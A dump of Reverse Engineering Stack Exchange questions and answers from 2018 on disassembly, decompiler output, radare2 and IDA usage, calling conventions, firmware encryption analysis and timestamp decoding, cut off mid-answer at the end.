        "Answer": "<p>from google  <a href=\"http://thestarman.pcministry.com/asm/2bytejumps.htm\" rel=\"noreferrer\">starmans</a> realm </p>\n\n<p>quoting relevant info</p>\n\n<pre><code>These are also known as SHORT Relative Jumps. Programs using only Relative    \nJump  instructions can be relocated anywhere in memory without having to     \nchange the    machine code for the Jumps. The first byte of a SHORT Jump is    \nalways EB and the    second is a relative offset from 00h to 7Fh for Forward    \njumps, and from 80h to    FFh for Reverse (or Backward) jumps. [Note: The    \noffset count always begins at    the byte immediately after the JMP    \ninstruction for any type of Relative Jump!] \n</code></pre>\n\n<p>so <strong>eb 01 to eb 7f</strong>  jumps forward<br>\n<strong>eb fe to eb 80</strong> jumpf backward</p>\n\n<p>so current instruction is at 0x172b066 adding the opcode length 2 the current instruction ends at xxxx68  or the next instruction starts at 0xxxxx68 \n0xf2 == -0xe (read about twos complement notation) </p>\n\n<p>0xxxxx68 - 0xe = 0xxxxx5A </p>\n"
    },
    {
        "Id": "17485",
        "CreationDate": "2018-02-17T08:43:03.140",
        "Body": "<p>I'm trying to understand how function calls are represented in Hex Rays' pseudocode, especially if the call expects pointers to objects.</p>\n\n<p>Let's say I'm looking at a line of code in a function called <em>MyObject1::Start()</em>:</p>\n\n<p><code>MyObject2::doSomething(*((_DWORD *)this + 38), (char *)this + 104);</code></p>\n\n<p>Does this mean, it calls the function <em>doSomething</em> of <em>MyObject2</em> and passes two references to members of <em>MyObject1</em> as arguments?</p>\n\n<p>If that's the case, how can I identify these passed members? E.g. what's meant by \"this + 38\"?</p>\n",
        "Title": "Object references representation in pseudocode",
        "Tags": "|ida|decompilation|c++|",
        "Answer": "<p>this+38 and this+104 are most likely data members of the current object.</p>\n\n<p>You can figure out what they mean by looking up the context in which they are used.<br>\nTake this code for example</p>\n\n<pre><code>int a;\nfor(int i = 0;i &lt; strlen(this+38); i++){\n   if((this+38)[i] == 'a'){\n      a++\n   }\n}\n</code></pre>\n\n<p>To figure out what's a, you need to see in what context it is used. Here you can clearly see that a is being incremented every time the character 'a' appears in (this+38), from that you can infer that (this+38) is a char array and that a variable counts how many 'a' appear in this+38 (string)</p>\n"
    },
    {
        "Id": "17487",
        "CreationDate": "2018-02-17T19:07:38.580",
        "Body": "<p>In a huge ELF binary, I find some functions which use some kind of (string) constant. The constant itself seems to be stored inside the binary itself but I can't figure out, how to resolve IDA's disassembly result:</p>\n\n<pre><code>.text:096B3D58 lea     eax, (stru_8199A2C.st_shndx+1 - 96B3D47h)[ebx]\n.text:096B3D5E push    eax             ; char *\n.text:096B3D5F push    edx             ; this\n.text:096B3D60 call    _ZN11NameDB7resolveEPKc ; NameDB::resolve(char const*)\n</code></pre>\n\n<p>My problem is to understand the source of the LEA instruction. For me it reads like \"the symbol at 0x96B3D47 bytes prior to the symbol table index\". Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...</p>\n",
        "Title": "How to find ELF symbol table reference?",
        "Tags": "|ida|elf|symbols|",
        "Answer": "<blockquote>\n  <p>Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...</p>\n</blockquote>\n\n<p>... and the instruction before that address is a <code>call</code> instruction. Right?</p>\n\n<p>This kind of instructions is used for <em>position-independend code</em>: The code can be loaded into another address and it will work the same way without modifications. Typically it works like this:</p>\n\n<pre><code>    call some_address                         ; 1\nsome_address:\n    pop ebx                                   ; 2\n    lea eax, (some_text - some_address)[ebx]  ; 3\n    ...\nsome_text:\n    ...\n</code></pre>\n\n<ol>\n<li>After the <code>call</code> instruction the address of the instruction after the <code>call</code> instruction will have been pushed to the stack. This means that the address <code>some_address</code> is now on the stack.</li>\n<li>Using <code>pop</code> we read the address of <code>some_address</code> from the stack (and remove it from there).</li>\n<li>This instruction will calculate <code>some_text - some_address + someaddress</code> so the instruction has the same effect as <code>lea eax, [some_text]</code>.</li>\n</ol>\n\n<p>The distance <code>some_text - some_address</code> is always the same when the executable file is loaded into different memory addresses. Therefore the <code>lea</code> instruction will work independently on the location (address) where the program is executed.</p>\n\n<p>The same is true for the <code>call</code> instruction because the argument of the <code>call</code> instruction is stored PC-relative.</p>\n\n<p>The argument of the instruction <code>lea eax, [some_text]</code> however would be an absolute (not a PC-relative) address so you would have to exchange it when executing the program at another address.</p>\n\n<blockquote>\n  <p>For me it reads like \"the symbol at 0x96B3D47 bytes prior to the symbol table index\".</p>\n</blockquote>\n\n<p>If there is a relocation table entry for the <code>lea</code> instruction the disassembler could take the information from the relocation table.</p>\n\n<p>In your case this seems to be different:</p>\n\n<p>Your disassembler seems also to be intelligent enough to see that <code>ebx</code> contains the address 096B3D47 at this point. Therefore it will know that the  instruction <code>lea eax, XYZ[ebx]</code> will result in a value of <code>096B3D47+XYZ</code> in the <code>eax</code> register.</p>\n\n<p>Therefore it will disassemble the instruction as <code>lea eax, ((XYZ+096B3D47)-096B3D47)[ebx]</code> and tries to find out what symbol the address <code>XYZ+096B3D47</code> is.</p>\n\n<p>Many disassemblers I know however only guess here; they assume that the address belongs to the last symbol before that address. And in your case the symbol <code>stru_8199A2C.st_shndx</code> seems to be that symbol.</p>\n\n<p>Obviously your disassembler does not only evaluate symbols but also debugging information such as \"Dwarf\" debugging data (which contains information used by debuggers).</p>\n"
    },
    {
        "Id": "17490",
        "CreationDate": "2018-02-18T21:17:47.107",
        "Body": "<p>I've been working on a project on an IBM POWER8 system. I'd like to translate some very simple binaries from x86-64 to PPC.</p>\n\n<p>Is there a tool that can either:</p>\n\n<ol>\n<li>Translate the binary from x86-64 to PPC (similar to how Apple Rosetta did PPC to x86-64)</li>\n<li>Decompile the x86-64 binary into C code (doesn't need to be human readable) so that I can recompile it on a PPC system</li>\n</ol>\n\n<p>I'd love to know if there's any other way to get that done as well.</p>\n\n<p>EDIT: Also, I'm not comfortable using commercial software, but am okay with closed-source.</p>\n\n<p>Thanks!</p>\n",
        "Title": "Tools to translate x86-64 ELF to PPC (or i386 decompilation)",
        "Tags": "|disassembly|decompilation|disassemblers|decompiler|",
        "Answer": "<p>For 1, there is <a href=\"https://www.qemu.org/\" rel=\"nofollow noreferrer\">QEMU</a> which can be built for PPC and supports i386 and x86-64 emulation. If you run Linux, there may already be a precompiled package available for your distro.</p>\n\n<p>For 2, there <em>are</em> some decompilers which can produce C pseudocode from x86-64 binaries. Alternatively, tools like <a href=\"https://github.com/trailofbits/mcsema\" rel=\"nofollow noreferrer\">McSema</a> can perform <em>lifting</em> to LLVM bitcode which can then be recompiled to PPC (in theory).</p>\n"
    },
    {
        "Id": "17491",
        "CreationDate": "2018-02-18T21:22:59.237",
        "Body": "<p>While reverse engineering a game using the Hex Rays decompiler I was looking for how an array of NPC's was accessed. I found the array but I don't quite understand the unusual formula for getting the index of the NPC. First an integer is <code>&amp;</code> with <code>0xFFF</code> then the result is multiplied by 4 to get the index.</p>\n\n<p>Example:</p>\n\n<pre><code>dword_1F4A8A5C[4 * (v3 &amp; 0xFFF)]\n</code></pre>\n\n<p>I'm really not sure if this is standard or if it's weird output from the Hex Rays decompiler. If anyone has an explanation please let me know. Thanks.</p>\n",
        "Title": "Odd convention for accessing elements of an array?",
        "Tags": "|ida|c++|c|hexrays|array|",
        "Answer": "<p>It looks like that it is array of structures, where <code>v3</code> is an index and <code>0xfff</code> is used to avoid overflow.\nI'd suggest that the array was originally defined with size <code>0x1000</code>. The size of a structure should be 4 dwords.</p>\n"
    },
    {
        "Id": "17499",
        "CreationDate": "2018-02-19T17:14:42.190",
        "Body": "<p>I am looking for a good \"disassembler\" for JavaScript, like IDA Pro but for JS. I am looking at a chrome extension, but the JavaScript is heavily obfuscated. After deobfuscating, I am left with variable and function names like \"_0xa893x5\". This is using jsbeautifier.org; other deobfuscators give error. This unintuitive syntax makes it more than a little different to follow the program; is there a tool like IDA for Javascript where I can graphically trace the flow of the program from function to function?\nThanks!</p>\n",
        "Title": "IDA Pro Alternative for JavaScript?",
        "Tags": "|javascript|",
        "Answer": "<p>Have a look at <a href=\"https://github.com/scottrogowski/code2flow\" rel=\"nofollow noreferrer\">https://github.com/scottrogowski/code2flow</a> for generating callgraphs.</p>\n\n<blockquote>\n  <p>Turn your Python and Javascript source code into DOT flowcharts</p>\n  \n  <p>Code2flow will sweep through your project source code looking for\n  function definitions. Then it will do another sweep looking for where\n  those functions are called. Code2flow connects the dots and presents\n  you with a flowchart estimating the functional structure of your\n  program.</p>\n  \n  <p>In other words, code2flow generates callgraphs</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/oyblI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oyblI.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17504",
        "CreationDate": "2018-02-20T15:10:02.640",
        "Body": "<p>ive started studying reverse engineering, and in a binary i am trying to reverse i stumbled upon an unusual(to me) line of assembly in IDA PRO. and it looks like this</p>\n\n<pre><code>.text:00000000008A1C21                 mov     r8d, ds:(off_8A40FC - 400000h)[rcx+rax*4]\n</code></pre>\n\n<p>so i know that it moves something into the r8 register which is the size of a dword, but i do not understand what it moves into it ? something from the data segment, but im clueless as of how to interpret it, any help would be great.</p>\n",
        "Title": "What does this line of assembly do ? how am i to interpret it?",
        "Tags": "|assembly|",
        "Answer": "<p>What the assembly is doing is subtracting <code>0x400000</code> from the offset <code>0x8A40FC</code> giving <code>0x4A40FC</code>, then using the new address at memory address <code>[rcx+rax*4]</code>. I recommend studying the assembly more, this is a bad question as its not giving full detail on what <code>rcx</code>, and <code>rax</code> is.</p>\n\n<p>Happy hacking! :-)</p>\n"
    },
    {
        "Id": "17517",
        "CreationDate": "2018-02-22T18:54:32.230",
        "Body": "<p>If I run <code>pd</code> I get something like this,</p>\n\n<pre><code>[0x00400540]&gt; pd @ main + 4\n            0x0040064a      4883ec20       sub rsp, 0x20\n            0x0040064e      897dec         mov dword [rbp - 0x14], edi\n            0x00400651      488975e0       mov qword [rbp - 0x20], rsi\n            0x00400655      837dec01       cmp dword [rbp - 0x14], 1   ; [0x1:4]=-1 ; 1\n        ,=&lt; 0x00400659      7f11           jg 0x40066c\n        |   0x0040065b      bf70074000     mov edi, str.Usage_echo__string ; 0x400770 ; \"Usage echo &lt;string&gt;\"\n        |   0x00400660      e89bfeffff     call sym.imp.puts\n        |   0x00400665      b800000000     mov eax, 0\n       ,==&lt; 0x0040066a      eb64           jmp 0x4006d0\n       |`-&gt; 0x0040066c      488b45e0       mov rax, qword [rbp - 0x20]\n</code></pre>\n\n<p>Generally speaking the lines that show where the jumps are going on the left are awesome. But for the purpose of copying and pasting not so much. How can I disable them? Or how can I hide those lines? I tried a few different things but no luck.</p>\n",
        "Title": "Radare using `pd` without the call graph lines?",
        "Tags": "|radare2|",
        "Answer": "<p>well pawel beat me but this shows how to strip some more noise</p>\n\n<pre><code>C:\\Windows\\system32&gt;radare2  calc.exe\n[0x01012d6c]&gt; af\n[0x01012d6c]&gt; pd 10 @ $$+0x4b\n|       ,=&lt; 0x01012db7      0f8538b00100   jne 0x102ddf5\n|       |   0x01012dbd      33f6           xor esi, esi\n|       |   0x01012dbf      46             inc esi\n|       |      ; JMP XREF from 0x0102ddfe (entry0)\n|       |   0x01012dc0      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0\n|       |   0x01012dc5      3bc6           cmp eax, esi\n|      ,==&lt; 0x01012dc7      0f8446b00100   je 0x102de13\n|      ||   0x01012dcd      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0\n|      ||   0x01012dd2      85c0           test eax, eax\n|     ,===&lt; 0x01012dd4      0f85e54e0000   jne 0x1017cbf\n|     |||   0x01012dda      893594410501   mov dword [0x1054194], esi  ; [0x1054194:4]=0\n\n\n[0x01012d6c]&gt; e asm.lines=false &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n[0x01012d6c]&gt; e asm.comments =false &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n[0x01012d6c]&gt; e asm.cmtright =false &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n[0x01012d6c]&gt; e asm.fcnlines =false &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n\n\n[0x01012d6c]&gt; pd 10 @ $$+0x4b\n0x01012db7      0f8538b00100   jne 0x102ddf5\n0x01012dbd      33f6           xor esi, esi\n0x01012dbf      46             inc esi\n0x01012dc0      a194410501     mov eax, dword [0x1054194]\n0x01012dc5      3bc6           cmp eax, esi\n0x01012dc7      0f8446b00100   je 0x102de13\n0x01012dcd      a194410501     mov eax, dword [0x1054194]\n0x01012dd2      85c0           test eax, eax\n0x01012dd4      0f85e54e0000   jne 0x1017cbf\n0x01012dda      893594410501   mov dword [0x1054194], esi\n[0x01012d6c]\n</code></pre>\n\n<p>and to remove the bytes use <strong>e asm.bytes = false</strong></p>\n"
    },
    {
        "Id": "17521",
        "CreationDate": "2018-02-22T23:15:50.710",
        "Body": "<p>I have been trying to reverse a singleplayer x64 game to learn about reversing games. My problem is that I am trying to trace the arguments from a <code>D3D11CreateDeviceAndSwapchain</code> call and as far as I know the first 4 arguments should be stored in the registers <code>rcx</code>, <code>rdx</code>, <code>r8</code> and <code>r9</code> and the rest should be pushed to the stack ontop of the shadow area of the stack. </p>\n\n<p>Looking at the assembly I am posting below from IDA, it only pushes something far beyond the shadow area and the data does not seem to have anything to do with the call at all. So im wondering if DirectX calls are different somehow? Or am I simply just looking in the wrong place?</p>\n\n<pre><code>.text:000000000143269B lea     rax, [rsp+218h+arg_0]\n.text:00000000014326A3 lea     rbp, [rdi+0CA8h]\n.text:00000000014326AA xor     r8d, r8d\n.text:00000000014326AD mov     [rsp+218h+var_1C0], rax\n.text:00000000014326B2 mov     [rsp+218h+var_1C8], rbp\n.text:00000000014326B7 lea     rax, [rsp+218h+arg_10]\n.text:00000000014326BF mov     [rsp+218h+var_1D0], rax\n.text:00000000014326C4 lea     rax, [rsp+228h]\n.text:00000000014326CC mov     [rsp+218h+var_1D8], rax\n.text:00000000014326D1 mov     [rsp+218h+var_1E0], rsi\n.text:00000000014326D6 mov     dword ptr [rsp+218h+var_1E8], 7\n.text:00000000014326DE mov     dword ptr [rsp+218h+var_1F0], r15d\n.text:00000000014326E3 mov     [rsp+218h+var_1F8], r15\n.text:00000000014326E8 call    D3D11CreateDeviceAndSwapChain\n</code></pre>\n",
        "Title": "Where are the arguments to this D3D11CreateDeviceAndSwapchain call stored in x64?",
        "Tags": "|ida|windows|assembly|",
        "Answer": "<p>The  API <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ff476083(v=vs.85).aspx\" rel=\"nofollow noreferrer\">D3D11CreateDeviceAndSwapChain function</a> in question takes 12 arguments<br>\nFrom your disassembly find out what var_1c0 etc is defined as  ( i would presume it is -0x1c0 )   </p>\n\n<p>so (218 + (-0x1c0 and so on it would be ) = 58 , 50 , 48 , 40 , 38, 30 ,28 ,20,r9,r8,rdx,rcx) etc etc </p>\n\n<p>you can see pub const D3D11_SDK_VERSION: DWORD = 7 at 1e8 = (218-1e8)/8 = 30 \nwhich is the 7th argument according to the documentation </p>\n\n<pre><code>HRESULT D3D11CreateDeviceAndSwapChain(\n  _In_opt_        IDXGIAdapter         *pAdapter,  ==== rcx\n                  D3D_DRIVER_TYPE      DriverType,  ==== rdx\n                  HMODULE              Software,    ==== r8\n                  UINT                 Flags,       ==== r9 \n  _In_opt_  const D3D_FEATURE_LEVEL    *pFeatureLevels, ==== 1f8 == 20\n                  UINT                 FeatureLevels,   ===== 1f0 == 28\n                  UINT                 SDKVersion, &lt;&lt;&lt;&lt;&lt;&lt; == 7 ===1e8 == 30\n  _In_opt_  const DXGI_SWAP_CHAIN_DESC *pSwapChainDesc,\n  _Out_opt_       IDXGISwapChain       **ppSwapChain,\n  _Out_opt_       ID3D11Device         **ppDevice,\n  _Out_opt_       D3D_FEATURE_LEVEL    *pFeatureLevel,\n  _Out_opt_       ID3D11DeviceContext  **ppImmediateContext\n);\n</code></pre>\n\n<hr>\n"
    },
    {
        "Id": "17522",
        "CreationDate": "2018-02-23T00:47:13.740",
        "Body": "<p>The <a href=\"https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html\" rel=\"nofollow noreferrer\">Radare book</a> says </p>\n\n<blockquote>\n  <p>Use <kbd>F7</kbd> or s to <em>step into</em> and <kbd>F8</kbd> or S to <em>step over</em> current instruction. </p>\n</blockquote>\n\n<p>But, I don't see it telling you how to do this with the <code>d</code> command. When I run <code>d?</code> I see </p>\n\n<pre><code>ds[?]                   Step, over, source line\ndc[?]                   Continue execution\n</code></pre>\n",
        "Title": "Commands to step into and step over, outside of visual pane mode",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>I did't find this to be too intuitive, but the answer is <code>ds</code>. Now it makes sense though: <code>ds</code> expands to a bunch of stuff,</p>\n\n<pre><code>[0x55673eccb5fa]&gt; ds?\n|Usage: ds Step commands\n| ds               Step one instruction\n| ds &lt;num&gt;         Step &lt;num&gt; instructions\n| dsb              Step back one instruction\n| dsf              Step until end of frame\n| dsi &lt;cond&gt;       Continue until condition matches\n| dsl              Step one source line\n| dsl &lt;num&gt;        Step &lt;num&gt; source lines\n| dso &lt;num&gt;        Step over &lt;num&gt; instructions\n| dsp              Step into program (skip libs)\n| dss &lt;num&gt;        Skip &lt;num&gt; step instructions\n| dsu[?]&lt;address&gt;  Step until address\n| dsui[r] &lt;instr&gt;  Step until an instruction that matches `instr`, use dsuir for regex match\n| dsue &lt;esil&gt;      Step until esil expression matches\n| dsuf &lt;flag&gt;      Step until pc == flag matching name\n</code></pre>\n\n<p>While <em>really</em> cool, there are a tons of ways to <code>step</code> and they're all organized under <code>ds</code>. </p>\n\n<ul>\n<li><kbd>F7</kbd> is step into, or <code>ds</code></li>\n<li><kbd>F8</kbd> is step over, or <code>dso</code></li>\n</ul>\n"
    },
    {
        "Id": "17529",
        "CreationDate": "2018-02-24T02:03:55.553",
        "Body": "<p>I am working through the educational \"bomb.exe\" file where you must defuse the bomb by entering the correct inputs.  This can only be accomplished by reversing the executable file.  There are no hints when the file is run.</p>\n\n<p>I came across these two random jump instructions which appear to be inserted out of the flow of the program.  What is the reason for their existence?  Is this a byproduct of an unoptimized compilation?  If they're there on purpose then which instruction points to these?</p>\n\n<p><a href=\"https://i.stack.imgur.com/LlIS9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LlIS9.png\" alt=\"Mysterious entry points\"></a>\n<a href=\"https://i.stack.imgur.com/QRTOk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QRTOk.png\" alt=\"Entire Function + To/From locations\"></a></p>\n\n<p>Appreciate any help!</p>\n\n<p>Looking at the \"flat\" view it appears that they are not called from anywhere.  Could these jumps be sites of malicious code injections if someone had bad intentions?  It seems that if they are connected to a proper flow the injected code would go unnoticed at first glance.  If I should open another thread for this question I can do that too.</p>\n\n<p><a href=\"https://i.stack.imgur.com/CAidQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CAidQ.png\" alt=\"Flat View\"></a></p>\n",
        "Title": "Instruction without \"apparent\" previous instruction",
        "Tags": "|ida|x86|",
        "Answer": "<p>The flat view makes it obvious: the \"hanging\" jumps are part of the function but IDA detected that they are not reachable because the function calls preceding them (<code>exit</code> and <code>bombExplodes</code>) do not return. If you really want to see the jumps in a \"proper\" graph, you can clear no-returning flag from those functions, but it will be somewhat artificial since those instructions are not reachable in normal execution flow.</p>\n"
    },
    {
        "Id": "17530",
        "CreationDate": "2018-02-24T12:00:42.523",
        "Body": "<p>I'd like to ask your help to understand the algorithm used to encrypt these hex/bin <a href=\"http://www55.zippyshare.com/v/1LSE7q9C/file.html\" rel=\"nofollow noreferrer\">firmware</a> (for an ARM-Cortex M4 microcontroller).</p>\n\n<p>In the tar file above you can find different firmware versions. \nIn particular, the V16 version has been released encrypted, plain and also an encrypted TE version (I don't know what does TE mean).</p>\n\n<p>It has been a while since I started to analyze these files (I also asked another question here in the past) but, so far, I didn't find the solution.\nI tried to invert the bytes, swap the nibbles, xor but no luck.</p>\n\n<p>As you can see, the encrypted version is 276 bytes longer than the plain. I expect that in those bytes are defined the header/footer and the key sections used by the bootloader to decrypt the binary before flashing.</p>\n\n<p>Personally I think that a simple algorithm has been used (something like Salsa20 or ChaCha), nothing complicated (SHA, etc.).\nThank you.</p>\n",
        "Title": "Binary encryption",
        "Tags": "|arm|encryption|binary|",
        "Answer": "<p>In fact, I doubt that they use Salsa20 on this firmware file... Let me just first explain what is my method to investigate such cases. For the rest, I will mainly use the <code>binwalk</code> tool.</p>\n\n<ol>\n<li><p>What I do first is to evaluate the global entropy of the file. This is a very quick way to evaluate if we are looking at encryption or not. </p>\n\n<pre><code>binwalk -E firmware.bin\n</code></pre>\n\n<p>For the example, I encrypted a file with Salsa20 (filled only with <code>ABCDEFGHIJKLMNOPQRSTUVWXYZ</code> strings). I got the following result:</p>\n\n<p><a href=\"https://i.stack.imgur.com/lNjAL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lNjAL.png\" alt=\"Entropy of a Salsa20 cipher\"></a></p>\n\n<p>Note that the obtained entropy is close to 1, which is exactly what is desired when we use any encryption algorithm.</p></li>\n<li><p>The second step in my process is to try to get two successive versions of the firmware and analyze the differences. It is amazing what you can learn from looking at the differences between two files. So, for the example I encrypted the string <code>ABCDEFGHIJKLMNOPQRSTUVWXYZ</code> repeated several times in the first file and the same in the second file execpt for the first string where I replaced the <code>N</code> of the first string by a <code>Z</code>.</p>\n\n<pre><code>binwalk -W firmware-1.bin firmware-2.bin\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/zqhxG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zqhxG.png\" alt=\"Differences between the two files encrypted with Salsa20\"></a></p>\n\n<p>As you may noticed, Salsa20 is a stream cipher, so I modified one byte and, then, only one byte is modified.</p>\n\n<p>In fact, the differences between two versions of the firmware will give you information about the block size of the encryption algorithm and its mode (such as ECB, CBC or others). Once you have this, you may discard some algorithms or target the most probable ones.</p></li>\n<li><p>Once you gathered all these information, there are no real rule of thumb. Be creative and try to deduce the more you can with what you have and make some good and intuitive assumptions.</p></li>\n</ol>\n\n<p>Now, lets go back to you firmware. I took <code>ZPK0J020_V16_20161206_AP-D7D1.hex</code>  and <code>ZPK0J020_V17_20170310_AP-1E6A.hex</code>. And, I applied the method I described previously. </p>\n\n<p>First, the difference between the two versions of the firmware is not against the assumption of Salsa20, but the entropy is way too low to be a strong encryption as Salsa20.</p>\n\n<p><a href=\"https://i.stack.imgur.com/npDJF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/npDJF.png\" alt=\"Entropy of the firmware V16\"></a></p>\n\n<p>My conclusion is that the encryption of these firmware files is probably something weak. I would go for a xor-encryption or something similar. But, I did not investigate further as I think I disqualified Salsa20 and answered to your question. It is up to you to dig a bit now!</p>\n"
    },
    {
        "Id": "17542",
        "CreationDate": "2018-02-26T14:31:10.107",
        "Body": "<p>I am trying to decode this hex timestamp:</p>\n\n<pre><code>5A24 B103 73AE --&gt; 02/26/2018 15:45:44 \n5A24 FC03 83BC --&gt; 02/26/2018 17:00:48\n5A24 FE03 93E3 --&gt; 02/26/2018 17:02:58\n</code></pre>\n\n<p>Data is coming from an old controller serial protocol. The proprietary software shows the \"controller time in hex\" and converts it in the value showed. </p>\n\n<p>How do you approach this problem?</p>\n",
        "Title": "Hex timestamp decode",
        "Tags": "|hex|serial-communication|",
        "Answer": "<pre><code>import sys\nimport os\n\nif(len(sys.argv) != 2):     \n    sys.exit(\"usage %s 0xdead\" % os.path.basename(sys.argv[0]))\n\nif((sys.argv[1].startswith(\"0x\")!=True) or (len(sys.argv[1])!=6 )):\n    sys.exit(\"0x prefixed hexinput must be in range 0x0000 to 0xffff padded to 4 digits\")\n\nindate = int(sys.argv[1],16)\n\nyear   =  str(((indate &amp; 0xfe00) &gt;&gt; 9) + 2000)\nmonth  =  str((indate &amp; 0x01e0) &gt;&gt; 5)\nday    =  str((indate &amp; 0x001f) &gt;&gt; 0)\nsep    =  \"/\"\n\nprint \"The date is in MSDOS DATE FORMAT\"\nprint \"y2k-fixed year9to15 bits month 5t08bits and day 0to5 bits\"\nprint (day+sep+month+sep+year)\n</code></pre>\n\n<p>0x245a as input</p>\n\n<pre><code>:\\&gt;python msdosdate.py 0x245a\nThe date is in MSDOS DATE FORMAT\ny2k-fixed year9to15 bits month 5t08bits and day 0to5 bits\n26/2/2018\n</code></pre>\n\n<p>Edited a complete script that  takes all the three short ints</p>\n\n<pre><code>:&gt;cat makedatetime.py\nimport sys\nif(len(sys.argv) != 4):\n    sys.exit(\"usage python thisscript.py 1337 dead d00d\")\nfor i in range(1,4,1):\n    if(len(sys.argv[i]) != 4):\n        sys.exit(\"enter unsigned short integer of type 'H' in hex \\n\"\n                \"like dead d00d 1337 babe etc duly padded to 4 digits\")\nindate      = int(sys.argv[1],16)\ninminute    = int(sys.argv[2],16)\ninseconds   = int(sys.argv[3],16)\nyear        = str(((indate &amp;0xfe00) &gt;&gt; 9)+2000)\nmonth       = str(((indate &amp;0x01e0) &gt;&gt; 5)+0000)\nday         = str(((indate &amp;0x001f) &gt;&gt; 0)+0000)\nhours       = str(inminute/60)\nminutes     = str(inminute%60)\nseconds     = str(inseconds/1000)\nmillisecs   = str(inseconds%1000)\n\n\nprint(month+\"/\"+day+\"/\"+year+\" \"+hours+\":\"+minutes+\":\"+seconds+\":\"+millisecs)\n:&gt;python makedatetime.py 245A 03B1 AE73\n2/26/2018 15:45:44:659\n\n:&gt;python makedatetime.py 245A 03FC BC83\n2/26/2018 17:0:48:259\n\n:&gt;python makedatetime.py 245A 03FE E393\n2/26/2018 17:2:58:259\n</code></pre>\n"
    },
    {
        "Id": "17548",
        "CreationDate": "2018-02-26T21:33:50.530",
        "Body": "<p>i'm actually quite new to IDApython programing and i'm trying to get, for a \"switch-case\" jump table, the list of basic blocks for a given value of the case.</p>\n\n<p>While experimenting, i was trying to access the switch-case table using the following code as following the official documentation.</p>\n\n<pre><code>import idautils\nimport idaapi\nimport idc\n\nmyfunc=0\njump_table = dict()\nswitch_map = {}\n\nfor func in idautils.Functions():\n    if 'Myfunction_name' == idc.GetFunctionName(func):\n        print 'function found'\n        myfunc = func\n        break\n\nfor (startea, endea) in Chunks(myfunc):\n    for head in Heads(startea, endea):\n        switch_info = idaapi.get_switch_info_ex(head)\n        if switch_info != None:\n            num_cases = switch_info.get_jtable_size()\n            if num_cases == 148:\n                print 'good jump table found'\n                results = idaapi.calc_switch_cases(head, switch_info)\n                for idx in xrange(results.cases.size()):\n                    cur_case = results.cases[idx]\n                    \"\"\"\n         ---&gt;       #can't use the following\n\n           --&gt;      for cidx in xrange(len(cur_case)):\n           --&gt;          print \"case: %d\" % cur_case[cidx]\n                    \"\"\"\n                    print \"  goto 0x%x\" % results.targets[idx]\n                #for cidx in xrange(cur_case.size()):\n                print cur_case\n                print \"  goto 0x%x\" % results.targets[idx]\n            else:\n                continue\n        else:\n            continue\n</code></pre>\n\n<p>Unfortunately, i am not able to access correctly the cases values, as shown by the arrows in the code. Indeed, the \"cur_case\" object is a PySwigObject, which is not iterable. </p>\n\n<p>Any idea on how to get that code to work? (notes : i'm using IDA 64 bits)</p>\n\n<p>thanks in advance!</p>\n",
        "Title": "calc_switch_cases() in IDApython, can't iterate over results",
        "Tags": "|ida|idapython|",
        "Answer": "<p>OK, my bad... I was actually using IDA 6.8, and the API for this version does not create iterable Objects.</p>\n\n<p>Using IDA 7 solved the problem.</p>\n"
    },
    {
        "Id": "17555",
        "CreationDate": "2018-02-28T00:30:46.913",
        "Body": "<p>What does a bunch of <code>add byte [rax], al</code> mean? I see a lot of memory addressing point to specific parts of the shared library (.dll) that have for instance, this...</p>\n\n<pre><code>  0x10064faf8      0000           add byte [rax], al\n  0x10064fafa      0000           add byte [rax], al\n  0x10064fafc      0000           add byte [rax], al\n  0x10064fafe      0000           add byte [rax], al\n     ; XREFS: DATA 0x10041db20  DATA 0x100545d2c  DATA 0x100546999  DATA 0x1005469b0  DATA 0x100549de0  DATA 0x100549e00  \n  0x10064fb00      0000           add byte [rax], al\n  0x10064fb02      0000           add byte [rax], al\n  0x10064fb04      0000           add byte [rax], al\n  0x10064fb06      0000           add byte [rax], al\n</code></pre>\n\n<p>What is that supposed to indicate to me when I see it? Do those spaces get rewritten or something when the dll is loaded into memory?</p>\n",
        "Title": "Radare produces a bunch of `add byte [rax], al`, but why?",
        "Tags": "|disassembly|radare2|disassemblers|",
        "Answer": "<pre><code>add byte [eax], al \n</code></pre>\n\n<p>This instruction is falsly and accidentally blind-translated by disassemblers that don't distinguish between stored buffer/void spans and code segs, to explain what happens here you can refer to <a href=\"https://www-user.tu-chemnitz.de/~heha/viewchm.php/hs/x86.chm/x86.htm#9.2\" rel=\"nofollow noreferrer\">this blog section</a>:</p>\n\n<p><code>ADD</code> has an opcode equal to <code>0000(h)</code>=<code>00000000 0000 0000(2)</code> where the two last flagbits {d,s} of the command opcode are not set which indicates an addition from a register to an R/M field, <code>s</code> stands for size of transfer that is 8 bites = 2bytes.</p>\n\n<p>The second operand denotes an addition of reg value to local address in EAX, in 32 bits intel ASM, it is encoded <code>00(h)</code> for the reg <code>AL</code>, I don't know about 86/64x architectures but i guess it's same. Thus you see, mere coincidence.</p>\n\n<p>Void spans are also a case where the program reserves extraspace to store imported DLL functions' entrypoints for locally invoked labels, local constants/strings, or between chunks of any forms of dispersed data. </p>\n\n<p>These types of 0' spans can be frequently remarked in <a 